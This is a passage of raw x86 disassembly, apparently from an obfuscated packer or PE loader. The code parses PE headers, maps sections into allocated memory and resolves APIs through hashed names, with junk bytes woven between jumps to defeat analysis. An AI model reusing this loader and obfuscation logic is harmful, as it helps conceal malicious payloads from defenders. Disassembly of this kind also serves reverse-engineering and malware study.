		dd 0E4777611h
		db 4Dh,	2
; ---------------------------------------------------------------------------


loc_40187E:				; CODE XREF: sub_40141A+45Bj
		mov	ecx, [ecx+80h]
		push	eax
		jmp	short loc_401891
; ---------------------------------------------------------------------------
		db 13h
		dd 6F4E4950h, 8B5A057Ch
		db 68h
; ---------------------------------------------------------------------------


loc_401891:				; CODE XREF: sub_40141A+46Bj
		push	ebx
		push	ecx
		call	near ptr sub_401D74
		jmp	loc_40189E
; ---------------------------------------------------------------------------
		db 81h
; ---------------------------------------------------------------------------


loc_40189E:				; CODE XREF: sub_40141A+47Ej
		mov	eax, ebx
		add	eax, [eax+3Ch]
		jmp	loc_4018B3
; ---------------------------------------------------------------------------
		dd 0BD146726h, 0B98003B2h
		db 0FEh, 5Fh, 0ACh
; ---------------------------------------------------------------------------


loc_4018B3:				; CODE XREF: sub_40141A+489j
		mov	eax, [eax+28h]
		jmp	short loc_4018C1
; ---------------------------------------------------------------------------
		db 75h
; ---------------------------------------------------------------------------


loc_4018B9:				; CODE XREF: sub_40141A+451j
		or	bh, [ebx-68h]
		icebp
		setalc
		push	edi
		inc	esp
; ---------------------------------------------------------------------------
		db 2Dh
; ---------------------------------------------------------------------------


loc_4018C1:				; CODE XREF: sub_40141A+49Cj
		add	eax, ebx
		jmp	loc_4018CB
; ---------------------------------------------------------------------------
		db 62h,	0F3h, 0B0h
; ---------------------------------------------------------------------------


loc_4018CB:				; CODE XREF: sub_40141A+4A9j
		push	eax
		push	eax
		push	ebx
		jmp	loc_4018DA
; ---------------------------------------------------------------------------
		db 29h
		dd 0E5DC4FAEh
		db 0BAh, 6Bh
; ---------------------------------------------------------------------------


loc_4018DA:				; CODE XREF: sub_40141A+4B4j
		call	sub_402629
		pop	eax
		jmp	loc_4018F5
; ---------------------------------------------------------------------------
		db 0C8h, 61h, 86h
		dd 129D7447h, 5E99E0E3h, 6A550C3Fh
; ---------------------------------------------------------------------------
		pop	ebx


loc_4018F5:				; CODE XREF: sub_40141A+4C6j
		mov	edx, eax
		push	edx
		jmp	short loc_401908
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_401908:				; CODE XREF: sub_40141A+4DEj
		call	sub_4034CE
		push	3A35705Fh
		push	eax
		jmp	loc_401926
; ---------------------------------------------------------------------------
		dd 41284B1Ah, 7DD427E6h, 7940C372h
		db 0BEh, 1Fh
; ---------------------------------------------------------------------------


loc_401926:				; CODE XREF: sub_40141A+4F9j
		call	near ptr sub_403516
		pop	edx
		mov	ecx, edi
		jmp	short loc_40193E
; ---------------------------------------------------------------------------
		dd 3BCA356Ch, 1796B158h, 0B322ED04h
		db 70h,	0E9h
; ---------------------------------------------------------------------------


loc_40193E:				; CODE XREF: sub_40141A+514j
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_40194E
; ---------------------------------------------------------------------------
		db 6Eh
		dd 7AA59C0Fh, 4621882Bh
		db 7, 34h
; ---------------------------------------------------------------------------


loc_40194E:				; CODE XREF: sub_40141A+527j
		pop	ebp
		push	edx
		mov	edx, 1DE745A3h
		jmp	loc_401960
; ---------------------------------------------------------------------------
		dw 59A0h
		dd 15CCFF1Eh
; ---------------------------------------------------------------------------


loc_401960:				; CODE XREF: sub_40141A+53Bj
		add	edx, 0E2193A5Dh
		jmp	short loc_40196D
; ---------------------------------------------------------------------------
		dd 91B81B2Ah
		db 0F6h
; ---------------------------------------------------------------------------


loc_40196D:				; CODE XREF: sub_40141A+54Cj
		xchg	edx, [esp-10h+arg_C]
		jmp	loc_401981
; ---------------------------------------------------------------------------
		db 0F7h, 64h, 0CDh
; ---------------------------------------------------------------------------
		adc	byte ptr [ebx-10313630h], 0FCh
		test	ebx, edx


loc_401981:				; CODE XREF: sub_40141A+556j
		push	0
		jmp	loc_40198C
; ---------------------------------------------------------------------------
		dd 0A601E80Bh
; ---------------------------------------------------------------------------


loc_40198C:				; CODE XREF: sub_40141A+569j
		push	ecx
		jmp	loc_40199E
; ---------------------------------------------------------------------------
		dw 94E7h
		dd 83323Dh, 2CDF7E39h
		db 0F5h, 8Ah
; ---------------------------------------------------------------------------


loc_40199E:				; CODE XREF: sub_40141A+573j
		push	edx
		push	eax
		jmp	short locret_4019B0
; ---------------------------------------------------------------------------
		dw 18FBh
		dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h
; ---------------------------------------------------------------------------

locret_4019B0:				; CODE XREF: sub_40141A+586j
		retn
sub_40141A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	near ptr sub_4019C4
; ---------------------------------------------------------------------------
		dw 3A65h
		dd 6E148EBh, 921DF4C7h,	0DE196063h

; =============== S U B	R O U T	I N E =======================================



sub_4019C4	proc far		; CODE XREF: sub_40141A:loc_40184Dp
					; .text:004019B1j

var_48		= dword	ptr -48h

		push	ebp
		jmp	short loc_4019D3
; ---------------------------------------------------------------------------
		mov	edi, 0DBEAD58Ch
		js	short loc_401A1F
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx


loc_4019D3:				; CODE XREF: sub_4019C4+1j
		mov	ebp, esp
		jmp	short loc_4019DE
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 89h,	8Eh, 0AFh
		db 0BCh, 45h
; ---------------------------------------------------------------------------


loc_4019DE:				; CODE XREF: sub_4019C4+11j
		add	esp, 0FFFFFFE8h
		push	esi
		jmp	loc_4019F1
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h
; ---------------------------------------------------------------------------
		inc	ebx


loc_4019F1:				; CODE XREF: sub_4019C4+1Ej
		push	edi
		jmp	loc_4019FF
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EC9F3EF9h
		db 0B5h, 4Ah, 0BBh
; ---------------------------------------------------------------------------


loc_4019FF:				; CODE XREF: sub_4019C4+2Ej
		xor	eax, eax
		mov	[ebp-8], eax
		jmp	short loc_401A14
; ---------------------------------------------------------------------------
		dw 31D8h
		dd 6D849716h, 69F033A2h, 251C8FEEh
; ---------------------------------------------------------------------------


loc_401A14:				; CODE XREF: sub_4019C4+40j
		mov	[ebp-4], eax
		jmp	loc_401A25
; ---------------------------------------------------------------------------
		db 0FAh, 0ABh, 8
; ---------------------------------------------------------------------------


loc_401A1F:				; CODE XREF: sub_4019C4+8j
		mov	eax, ds:0DDB487C6h
		push	edx


loc_401A25:				; CODE XREF: sub_4019C4+53j
		mov	[ebp-0Ch], eax
		mov	[ebp-10h], eax
		jmp	short loc_401A3C
; ---------------------------------------------------------------------------
		db 23h,	20h, 0D9h
		dd 954C7F9Eh, 11389BAAh, 4DE47776h
; ---------------------------------------------------------------------------


loc_401A3C:				; CODE XREF: sub_4019C4+67j
		mov	[ebp-14h], eax
		jmp	loc_401A4E
; ---------------------------------------------------------------------------
		dd 49501302h, 57C6F4Eh
		db 5Ah,	8Bh
; ---------------------------------------------------------------------------


loc_401A4E:				; CODE XREF: sub_4019C4+7Bj
		mov	esi, [ebp+0Ch]
		mov	ecx, [esi-4]
		mov	[ebp-18h], ecx
		jmp	loc_401A6B
; ---------------------------------------------------------------------------
		dd 67268168h, 3B2BD14h,	5FFEB980h
		db 0ACh, 75h, 0Ah
; ---------------------------------------------------------------------------


loc_401A6B:				; CODE XREF: sub_4019C4+93j
		jmp	loc_401CF8
; ---------------------------------------------------------------------------


loc_401A70:				; CODE XREF: sub_4019C4+336j
		push	dword ptr [esi]
		jmp	loc_401A78
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------


loc_401A78:				; CODE XREF: sub_4019C4+AEj
		pop	dword ptr [ebp-4]
		jmp	short loc_401A81
; ---------------------------------------------------------------------------
		cwde
		icebp
		setalc
		push	edi


loc_401A81:				; CODE XREF: sub_4019C4+B7j
		add	esi, 4
		push	dword ptr [esi]
		jmp	short loc_401A91
; ---------------------------------------------------------------------------
		dd 0F3622D44h, 4FAE29B0h
		db 0DCh
; ---------------------------------------------------------------------------


loc_401A91:				; CODE XREF: sub_4019C4+C2j
		pop	dword ptr [ebp-8]
		add	esi, 4
		push	dword ptr [esi]
		jmp	short loc_401AA6
; ---------------------------------------------------------------------------
		db 0E5h
		dd 61C86BBAh, 9D744786h
; ---------------------------------------------------------------------------
		adc	ah, bl


loc_401AA6:				; CODE XREF: sub_4019C4+D5j
		pop	dword ptr [ebp-0Ch]
		jmp	short loc_401AB2
; ---------------------------------------------------------------------------
		db 0E0h
		dd 0C3F5E99h
		db 55h,	6Ah
; ---------------------------------------------------------------------------


loc_401AB2:				; CODE XREF: sub_4019C4+E5j
		add	esi, 4
		jmp	loc_401AC8
; ---------------------------------------------------------------------------
		dw 0F85Bh
		dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h
; ---------------------------------------------------------------------------


loc_401AC8:				; CODE XREF: sub_4019C4+F1j
		push	dword ptr [esi]
		jmp	short loc_401ADC
; ---------------------------------------------------------------------------
		dd 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h
; ---------------------------------------------------------------------------


loc_401ADC:				; CODE XREF: sub_4019C4+106j
		pop	dword ptr [ebp-10h]
		add	esi, 4
		jmp	short loc_401AE6
; ---------------------------------------------------------------------------
		db 35h,	0CAh
; ---------------------------------------------------------------------------


loc_401AE6:				; CODE XREF: sub_4019C4+11Ej
		push	dword ptr [esi]
		jmp	short loc_401AF4
; ---------------------------------------------------------------------------
		dw 583Bh
		dd 41796B1h, 70B322EDh
; ---------------------------------------------------------------------------


loc_401AF4:				; CODE XREF: sub_4019C4+124j
		pop	dword ptr [ebp-14h]
		add	esi, 4
		mov	edi, [ebp-8]
		jmp	loc_401B0A
; ---------------------------------------------------------------------------
		dw 6EE9h
		dd 7AA59C0Fh
		db 2Bh,	88h
; ---------------------------------------------------------------------------


loc_401B0A:				; CODE XREF: sub_4019C4+139j
		add	edi, [ebp+8]
		push	1000h
		push	dword ptr [ebp-4]
		jmp	short loc_401B1E
; ---------------------------------------------------------------------------
		db 21h
		dd 5D340746h
		db 0D2h, 0A3h
; ---------------------------------------------------------------------------


loc_401B1E:				; CODE XREF: sub_4019C4+151j
		call	sub_401D2E
		jmp	loc_401B30
; ---------------------------------------------------------------------------
		dd 0FF1E59A0h, 1B2A15CCh
; ---------------------------------------------------------------------------


loc_401B30:				; CODE XREF: sub_4019C4+15Fj
		push	eax
		jmp	loc_401B38
; ---------------------------------------------------------------------------
		dw 91B8h
; ---------------------------------------------------------------------------


loc_401B38:				; CODE XREF: sub_4019C4+16Dj
		push	edi
		jmp	short loc_401B47
; ---------------------------------------------------------------------------
		db 0F6h
		dd 82CD64F7h, 0CEC9D093h
		db 0EFh, 0FCh, 85h
; ---------------------------------------------------------------------------


loc_401B47:				; CODE XREF: sub_4019C4+175j
		call	sub_4028C8


loc_401B4C:				; CODE XREF: sub_4019C4+1A7j
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_401CAC
		push	edi
		jmp	loc_401B62
; ---------------------------------------------------------------------------
		dd 1E80BDAh
		db 0A6h, 0E7h
; ---------------------------------------------------------------------------


loc_401B62:				; CODE XREF: sub_4019C4+193j
		push	esi
		jmp	short loc_401B74
; ---------------------------------------------------------------------------
		xchg	eax, esp
		cmp	eax, 39008332h
		jle	short loc_401B4C
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh


loc_401B74:				; CODE XREF: sub_4019C4+19Fj
		call	near ptr sub_402F03
		add	esi, [ebp-0Ch]
		cmp	dword ptr [ebp-14h], 0
		jz	loc_401CAC
		jmp	loc_401B96
; ---------------------------------------------------------------------------
		db 0D7h
		dd 73E2ADC4h, 0CF2EA930h
		db 5Ch,	65h
; ---------------------------------------------------------------------------


loc_401B96:				; CODE XREF: sub_4019C4+1C2j
		pusha
		mov	eax, [ebp-14h]
		jmp	loc_401BA6
; ---------------------------------------------------------------------------
		db 3Ah
		dd 6E148EBh
		db 0C7h, 0F4h
; ---------------------------------------------------------------------------


loc_401BA6:				; CODE XREF: sub_4019C4+1D6j
		shl	eax, 4
		jmp	loc_401BB9
; ---------------------------------------------------------------------------
		sbb	eax, 19606392h
		fidivr	word ptr [edi-24152A74h]


loc_401BB9:				; CODE XREF: sub_4019C4+1E5j
		push	4
		push	3000h
		push	eax
		jmp	short loc_401BD0
; ---------------------------------------------------------------------------
		db 78h
		dd 24B7B651h, 9053428Dh, 0BCAF8E89h
; ---------------------------------------------------------------------------


loc_401BD0:				; CODE XREF: sub_4019C4+1FDj
		push	0
		call	sub_4022AE
		jmp	short loc_401BE6
; ---------------------------------------------------------------------------
		db 45h,	9Ah, 0CBh
		dd 0A766C1A8h, 43F2FD54h
		db 0C0h, 0F9h
; ---------------------------------------------------------------------------


loc_401BE6:				; CODE XREF: sub_4019C4+213j
		mov	edi, eax
		jmp	loc_401BF9
; ---------------------------------------------------------------------------
		db 3Eh,	9Fh, 0ECh
		dd 0D8BB4AB5h, 84971631h
		db 6Dh
; ---------------------------------------------------------------------------


loc_401BF9:				; CODE XREF: sub_4019C4+224j
		push	edi
		push	esi
		call	near ptr sub_402F03
		jmp	loc_401C0D
; ---------------------------------------------------------------------------
		db 0A2h, 33h, 0F0h
		dd 1C8FEE69h
		db 25h
; ---------------------------------------------------------------------------


loc_401C0D:				; CODE XREF: sub_4019C4+23Cj
		push	dword ptr [ebp+8]
		call	sub_4025E8
		jmp	short loc_401C1B
; ---------------------------------------------------------------------------
		db 0FAh
		db 0ABh, 8, 0A1h
; ---------------------------------------------------------------------------


loc_401C1B:				; CODE XREF: sub_4019C4+251j
		mov	edx, [ebp+8]
		sub	edx, eax
		jmp	loc_401C34
; ---------------------------------------------------------------------------
		db 0C6h, 87h, 0B4h
		dd 202352DDh, 4C7F9ED9h, 389BAA95h
; ---------------------------------------------------------------------------


loc_401C34:				; CODE XREF: sub_4019C4+25Cj
		mov	eax, [ebp-8]
		add	eax, [ebp+8]
		push	edx
		jmp	short loc_401C43
; ---------------------------------------------------------------------------
		db 11h,	76h, 77h
		db 0E4h, 4Dh, 2
; ---------------------------------------------------------------------------


loc_401C43:				; CODE XREF: sub_4019C4+277j
		push	edi
		jmp	short loc_401C4E
; ---------------------------------------------------------------------------
		dw 5013h
		dd 7C6F4E49h
		db 5, 5Ah
; ---------------------------------------------------------------------------


loc_401C4E:				; CODE XREF: sub_4019C4+280j
		push	dword ptr [ebp+8]
		jmp	loc_401C64
; ---------------------------------------------------------------------------
		dw 688Bh
; ---------------------------------------------------------------------------
		and	dword ptr [esi], 0B2BD1467h
		add	eax, [eax-53A00147h]


loc_401C64:				; CODE XREF: sub_4019C4+28Dj
		call	near ptr sub_402537
		push	eax
		mov	eax, 0F4CF3F75h
		jmp	short loc_401C79
; ---------------------------------------------------------------------------
		db 98h,	0F1h, 0D6h
		dd 622D4457h
		db 0F3h
; ---------------------------------------------------------------------------


loc_401C79:				; CODE XREF: sub_4019C4+2ABj
		sub	eax, 0F4CEBF75h
		jmp	short loc_401C86
; ---------------------------------------------------------------------------
		db 0B0h, 29h, 0AEh
		db 4Fh,	0DCh
; ---------------------------------------------------------------------------


loc_401C86:				; CODE XREF: sub_4019C4+2BBj
		xchg	eax, [esp+0]
		jmp	loc_401C96
; ---------------------------------------------------------------------------
		dw 0BAE5h
; ---------------------------------------------------------------------------
		imul	ecx, eax, 61h
		xchg	al, [edi+74h]


loc_401C96:				; CODE XREF: sub_4019C4+2C5j
		push	0
		push	edi
		jmp	short loc_401CA6
; ---------------------------------------------------------------------------
		db 9Dh
		dd 99E0E312h, 550C3F5Eh
; ---------------------------------------------------------------------------
		push	5Bh


loc_401CA6:				; CODE XREF: sub_4019C4+2D5j
		call	near ptr sub_40236C
		popa


loc_401CAC:				; CODE XREF: sub_4019C4+18Cj
					; sub_4019C4+1BCj
		mov	eax, [ebp-8]
		jmp	short loc_401CB4
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1


loc_401CB4:				; CODE XREF: sub_4019C4+2EBj
		add	eax, [ebp+8]
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-4]
		jmp	loc_401CC7
; ---------------------------------------------------------------------------
		dw 0A437h
		db 0Dh,	0C2h, 0D3h
; ---------------------------------------------------------------------------


loc_401CC7:				; CODE XREF: sub_4019C4+2F9j
		push	eax
		jmp	short loc_401CD0
; ---------------------------------------------------------------------------
		dw 910h
; ---------------------------------------------------------------------------
		push	cs
		das
		cmp	al, 0C5h


loc_401CD0:				; CODE XREF: sub_4019C4+304j
		call	sub_4026C0
		jmp	loc_401CDC
; ---------------------------------------------------------------------------
		dw 4B1Ah
; ---------------------------------------------------------------------------


loc_401CDC:				; CODE XREF: sub_4019C4+311j
		add	esi, [ebp-14h]
		dec	dword ptr [ebp-18h]
		mov	ecx, [ebp-18h]
		jmp	loc_401CF8
; ---------------------------------------------------------------------------
		dw 4128h
		dd 7DD427E6h, 7940C372h, 356C1FBEh
; ---------------------------------------------------------------------------


loc_401CF8:				; CODE XREF: sub_4019C4:loc_401A6Bj
					; sub_4019C4+321j
		or	ecx, ecx
		jnz	loc_401A70
		jmp	short loc_401D0A
; ---------------------------------------------------------------------------
		dw 3BCAh
; ---------------------------------------------------------------------------
		pop	eax
		mov	cl, 96h
		pop	ss
		add	al, 0EDh


loc_401D0A:				; CODE XREF: sub_4019C4+33Cj
		pop	edi
		jmp	loc_401D1A
; ---------------------------------------------------------------------------
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short locret_401D45


loc_401D1A:				; CODE XREF: sub_4019C4+347j
		pop	esi
		leave
		retn	8
sub_4019C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short sub_401D2E
; ---------------------------------------------------------------------------
		mov	[ecx], ah
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================



sub_401D2E	proc near		; CODE XREF: sub_4019C4:loc_401B1Ep
					; .text:00401D1Fj
		push	ebp
		jmp	short loc_401D35
; ---------------------------------------------------------------------------
		db 15h,	2Ah, 1Bh
		db 0B8h
; ---------------------------------------------------------------------------


loc_401D35:				; CODE XREF: sub_401D2E+1j
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		jmp	short loc_401D49
; ---------------------------------------------------------------------------
		db 91h,	0F6h, 0F7h
		dd 9382CD64h
		db 0D0h
; ---------------------------------------------------------------------------

locret_401D45:				; CODE XREF: sub_4019C4+354j
		leave
		into
		out	dx, eax
		cld


loc_401D49:				; CODE XREF: sub_401D2E+Dj
		mov	ecx, [ebp+0Ch]
		dec	ecx
		jmp	loc_401D57
; ---------------------------------------------------------------------------
		dw 0DA85h
		db 0Bh,	0E8h, 1
; ---------------------------------------------------------------------------


loc_401D57:				; CODE XREF: sub_401D2E+1Fj
		add	eax, ecx
		not	ecx
		and	eax, ecx
		jmp	short loc_401D62
; ---------------------------------------------------------------------------
		db 0A6h
		db 0E7h, 94h
; ---------------------------------------------------------------------------


loc_401D62:				; CODE XREF: sub_401D2E+2Fj
		pop	ecx
		leave
		retn	8
sub_401D2E	endp

; ---------------------------------------------------------------------------
		jmp	short near ptr sub_401D74
; ---------------------------------------------------------------------------
		db 3Dh,	32h, 83h
		dd 0DF7E3900h, 0FB8AF52Ch

; =============== S U B	R O U T	I N E =======================================



sub_401D74	proc far		; CODE XREF: sub_40141A+479p
					; .text:00401D67j

var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h

		push	ebp
		jmp	short loc_401D79
; ---------------------------------------------------------------------------
		db 18h
		db 71h
; ---------------------------------------------------------------------------


loc_401D79:				; CODE XREF: sub_401D74+1j
		mov	ebp, esp
		jmp	loc_401D84
; ---------------------------------------------------------------------------
		dd 0ADC4D756h
; ---------------------------------------------------------------------------


loc_401D84:				; CODE XREF: sub_401D74+7j
		add	esp, 0FFFFFFF4h
		jmp	short loc_401D95
; ---------------------------------------------------------------------------
		db 0E2h, 73h, 30h
		dd 5CCF2EA9h, 48EB3A65h
		db 0E1h
; ---------------------------------------------------------------------------


loc_401D95:				; CODE XREF: sub_401D74+13j
		push	esi
		jmp	short loc_401DA7
; ---------------------------------------------------------------------------
		dd 1DF4C706h, 19606392h, 0D58CBFDEh
		db 0EAh, 0DBh, 78h
; ---------------------------------------------------------------------------


loc_401DA7:				; CODE XREF: sub_401D74+22j
		push	edi
		push	ebx
		mov	esi, [ebp+8]
		jmp	short loc_401DB5
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx


loc_401DB5:				; CODE XREF: sub_401D74+38j
		mov	edx, [ebp+0Ch]
		jmp	loc_401DC4
; ---------------------------------------------------------------------------
		align 2
		mov	[esi-65BA4351h], ecx


loc_401DC4:				; CODE XREF: sub_401D74+44j
		add	esi, edx
		jmp	loc_401DD2
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp
		std


loc_401DD2:				; CODE XREF: sub_401D74+52j
					; sub_401D74:loc_4021E8j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	loc_4021F0
		add	eax, edx
		jmp	short loc_401DE5
; ---------------------------------------------------------------------------
		db 0F2h, 43h, 0C0h
; ---------------------------------------------------------------------------
		stc


loc_401DE5:				; CODE XREF: sub_401D74+6Bj
		mov	ebx, eax
		push	eax
		push	0C0C5A5Ch
		push	ecx
		jmp	short loc_401DF6
; ---------------------------------------------------------------------------
		dd 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx


loc_401DF6:				; CODE XREF: sub_401D74+7Aj
		mov	ecx, 0A8813D3Eh
		jmp	loc_401E08
; ---------------------------------------------------------------------------
		dd 0A26D8497h, 0EE69F033h
; ---------------------------------------------------------------------------


loc_401E08:				; CODE XREF: sub_401D74+87j
		xor	[esp+28h+var_24], ecx
		pop	ecx
		jmp	loc_401E17
; ---------------------------------------------------------------------------
		dw 1C8Fh
		db 25h,	0FAh, 0ABh
; ---------------------------------------------------------------------------


loc_401E17:				; CODE XREF: sub_401D74+99j
		push	dword ptr [ebp+10h]
		call	near ptr sub_403516
		call	eax
		jmp	short loc_401E2A
; ---------------------------------------------------------------------------
		or	[ecx-224B783Ah], ah
		push	edx


loc_401E2A:				; CODE XREF: sub_401D74+ADj
		test	eax, eax
		jnz	loc_401E5D
		push	ebx
		push	0C8AC8026h
		jmp	loc_401E48
; ---------------------------------------------------------------------------
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl


loc_401E48:				; CODE XREF: sub_401D74+C4j
		push	dword ptr [ebp+10h]
		jmp	short loc_401E56
; ---------------------------------------------------------------------------
		db 76h,	77h, 0E4h
; ---------------------------------------------------------------------------
		dec	ebp
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi


loc_401E56:				; CODE XREF: sub_401D74+D7j
		call	near ptr sub_403516
		call	eax


loc_401E5D:				; CODE XREF: sub_401D74+B8j
		mov	[ebp-4], eax
		jmp	short loc_401E67
; ---------------------------------------------------------------------------
		dw 7C6Fh
		db 5, 5Ah, 8Bh
; ---------------------------------------------------------------------------


loc_401E67:				; CODE XREF: sub_401D74+ECj
		mov	dword ptr [ebp-8], 0


loc_401E6E:				; CODE XREF: sub_401D74:loc_4021ADj
		mov	edx, [ebp+0Ch]
		mov	eax, [esi]
		jmp	loc_401E86
; ---------------------------------------------------------------------------
		dd 67268168h, 3B2BD14h,	5FFEB980h
		db 0ACh, 75h
; ---------------------------------------------------------------------------


loc_401E86:				; CODE XREF: sub_401D74+FFj
		test	eax, eax
		jnz	loc_401E9A
		mov	eax, [esi+10h]
		jmp	loc_401E9A
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]
		icebp


loc_401E9A:				; CODE XREF: sub_401D74+114j
					; sub_401D74+11Dj
		add	eax, edx
		jmp	short loc_401EA4
; ---------------------------------------------------------------------------
		dw 57D6h
		dd 0F3622D44h
; ---------------------------------------------------------------------------


loc_401EA4:				; CODE XREF: sub_401D74+128j
		add	eax, [ebp-8]
		jmp	loc_401EAD
; ---------------------------------------------------------------------------
		db 0B0h
; ---------------------------------------------------------------------------


loc_401EAD:				; CODE XREF: sub_401D74+133j
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		jmp	loc_401EC4
; ---------------------------------------------------------------------------
		db 29h,	0AEh, 4Fh
; ---------------------------------------------------------------------------
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_401EC4:				; CODE XREF: sub_401D74+140j
		add	edi, [ebp-8]
		jmp	short loc_401ED6
; ---------------------------------------------------------------------------
		db 74h,	9Dh, 12h
		dd 5E99E0E3h, 6A550C3Fh
		db  5Bh	; [
		db 0F8h	; 
; ---------------------------------------------------------------------------


loc_401ED6:				; CODE XREF: sub_401D74+153j
		test	ebx, ebx
		jz	loc_4021C4
		jmp	loc_401EEE
; ---------------------------------------------------------------------------
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das


loc_401EEE:				; CODE XREF: sub_401D74+16Aj
		test	ebx, 80000000h
		jnz	loc_401F1E
		add	ebx, edx
		jmp	loc_401F0B
; ---------------------------------------------------------------------------
		db 3Ch,	0C5h, 1Ah
; ---------------------------------------------------------------------------
		dec	ebx
		sub	[ecx-1Ah], al
		daa
		aam	7Dh


loc_401F0B:				; CODE XREF: sub_401D74+188j
		inc	ebx
		jmp	short loc_401F11
; ---------------------------------------------------------------------------
		dw 0C372h
; ---------------------------------------------------------------------------
		inc	eax


loc_401F11:				; CODE XREF: sub_401D74+198j
		inc	ebx
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------
		dd 6C1FBE79h, 583BCA35h
; ---------------------------------------------------------------------------
		mov	cl, 96h


loc_401F1E:				; CODE XREF: sub_401D74+180j
					; sub_401D74+19Ej
		push	ebx
		and	ebx, 7FFFFFFFh
		jmp	loc_401F36
; ---------------------------------------------------------------------------
		dw 417h
		dd 70B322EDh, 9C0F6EE9h
		db 0A5h, 7Ah
; ---------------------------------------------------------------------------


loc_401F36:				; CODE XREF: sub_401D74+1B1j
		push	ebx
		jmp	loc_401F4A
; ---------------------------------------------------------------------------
		sub	ecx, [eax+34074621h]
		pop	ebp
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_401F4A:				; CODE XREF: sub_401D74+1C3j
		push	dword ptr [ebp-4]
		push	esi
		mov	esi, 2539A7FBh
		jmp	short loc_401F61
; ---------------------------------------------------------------------------
		db 91h,	0F6h, 0F7h
		dd 9382CD64h, 0EFCEC9D0h
; ---------------------------------------------------------------------------
		cld


loc_401F61:				; CODE XREF: sub_401D74+1DFj
		xor	esi, 3AF94D15h
		jmp	loc_401F70
; ---------------------------------------------------------------------------
		test	ebx, edx


loc_401F6E:				; CODE XREF: sub_401D74+219j
		or	ebp, eax


loc_401F70:				; CODE XREF: sub_401D74+1F3j
		xchg	esi, [esp+30h+var_30]
		jmp	loc_401F79
; ---------------------------------------------------------------------------
		db 1
; ---------------------------------------------------------------------------


loc_401F79:				; CODE XREF: sub_401D74+1FFj
		push	dword ptr [ebp+10h]
		call	near ptr sub_403516
		call	eax
		jmp	short loc_401F91
; ---------------------------------------------------------------------------
		db 0A6h, 0E7h, 94h
; ---------------------------------------------------------------------------
		cmp	eax, 39008332h
		jle	short loc_401F6E
		sub	al, 0F5h


loc_401F91:				; CODE XREF: sub_401D74+20Fj
		pop	ebx
		jmp	short loc_401FA1
; ---------------------------------------------------------------------------
		dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h
		db 2Eh
; ---------------------------------------------------------------------------


loc_401FA1:				; CODE XREF: sub_401D74+21Ej
		test	eax, eax
		jnz	loc_4020D2
		jmp	loc_401FBA
; ---------------------------------------------------------------------------
		dw 5CCFh
		dd 48EB3A65h, 0F4C706E1h
		db 1Dh,	92h
; ---------------------------------------------------------------------------


loc_401FBA:				; CODE XREF: sub_401D74+235j
		test	ebx, 80000000h
		jnz	loc_401FE4
		jmp	short loc_401FD6
; ---------------------------------------------------------------------------
		dd 0DE196063h, 0EAD58CBFh, 0B65178DBh
; ---------------------------------------------------------------------------
		mov	bh, 24h


loc_401FD6:				; CODE XREF: sub_401D74+252j
		xor	eax, eax
		jmp	short loc_401FE4
; ---------------------------------------------------------------------------
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx


loc_401FE4:				; CODE XREF: sub_401D74+24Cj
					; sub_401D74+264j
		and	ebx, 7FFFFFFFh
		jmp	loc_401FF3
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
; ---------------------------------------------------------------------------


loc_401FF3:				; CODE XREF: sub_401D74+276j
		mov	eax, [ebp+426h]
		cmp	[ebp-4], eax
		jnz	loc_40208F
		push	edi
		jmp	loc_402017
; ---------------------------------------------------------------------------
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh
		db 0BBh, 0D8h, 31h
; ---------------------------------------------------------------------------


loc_402017:				; CODE XREF: sub_401D74+28Fj
		mov	edx, ebx
		dec	edx
		jmp	short loc_402026
; ---------------------------------------------------------------------------
		dd 6D849716h, 69F033A2h
		db 0EEh, 8Fh
; ---------------------------------------------------------------------------


loc_402026:				; CODE XREF: sub_401D74+2A6j
		shl	edx, 2
		jmp	loc_402036
; ---------------------------------------------------------------------------
		dw 251Ch
		dd 0A108ABFAh
		db 0C6h, 87h
; ---------------------------------------------------------------------------


